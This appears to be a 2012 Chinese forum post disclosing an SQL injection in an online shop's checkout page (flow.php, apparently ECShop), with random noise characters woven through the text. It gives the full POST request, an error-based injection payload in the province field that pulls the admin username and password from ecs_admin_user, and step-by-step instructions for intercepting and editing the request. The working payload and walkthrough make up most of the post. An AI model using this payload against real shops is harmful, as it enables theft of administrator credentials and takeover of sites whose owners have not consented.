感谢欠杀的黑盒( e8 H( G6 }( `1 T6 E) v/ s. M
) `9 f7 [- |) G& A8 K0 U: w
) ` u: b8 ^" s" k: t- @$ m2 ]8 Q
把任意商品加入购物车在填写配送地址那一页，有地区选择
' s- X4 M4 E$ o$ q8 _: `8 b7 E. K1 ?
X8 {9 z& d( X J' h/ gflow.php?step=consignee&direct_shopping=1
7 [5 k8 L4 X/ r$ V' P& O, e比如省选择安徽. h; T/ ` A6 Y% _: O
1 |2 n; `1 r8 m6 A其中POST数据如下
- ]1 a; O. W3 N$ h: l
+ P/ q" f$ l" F" |country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=37 r5 J1 ?7 T7 h; T2 n5 ? o
改成. b/ b1 m* k6 S3 D
/ t1 ]2 i) U+ _# Z/ x- P
province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
% Z6 B3 w) R! s8 z# V. Aps：详细的方法，用火狐tamper data插件……..即可改post内容…..
+ W+ y( z8 n+ E* U8 C ; v+ r6 |: R/ \: {5 O" ]
先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包1 [% e4 q7 @# G3 L, t& c
! C- _) F- A/ }8 H: z5 X就会回显错误页面了。。。。
; q' | ^5 {8 y( `! w0 m # v5 y2 q n$ V6 a/ b" m4 e
我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的
% F/ \6 |% G# }7 k- _ |
发表于 2012-12-31 09:19:27
收藏
支持
反对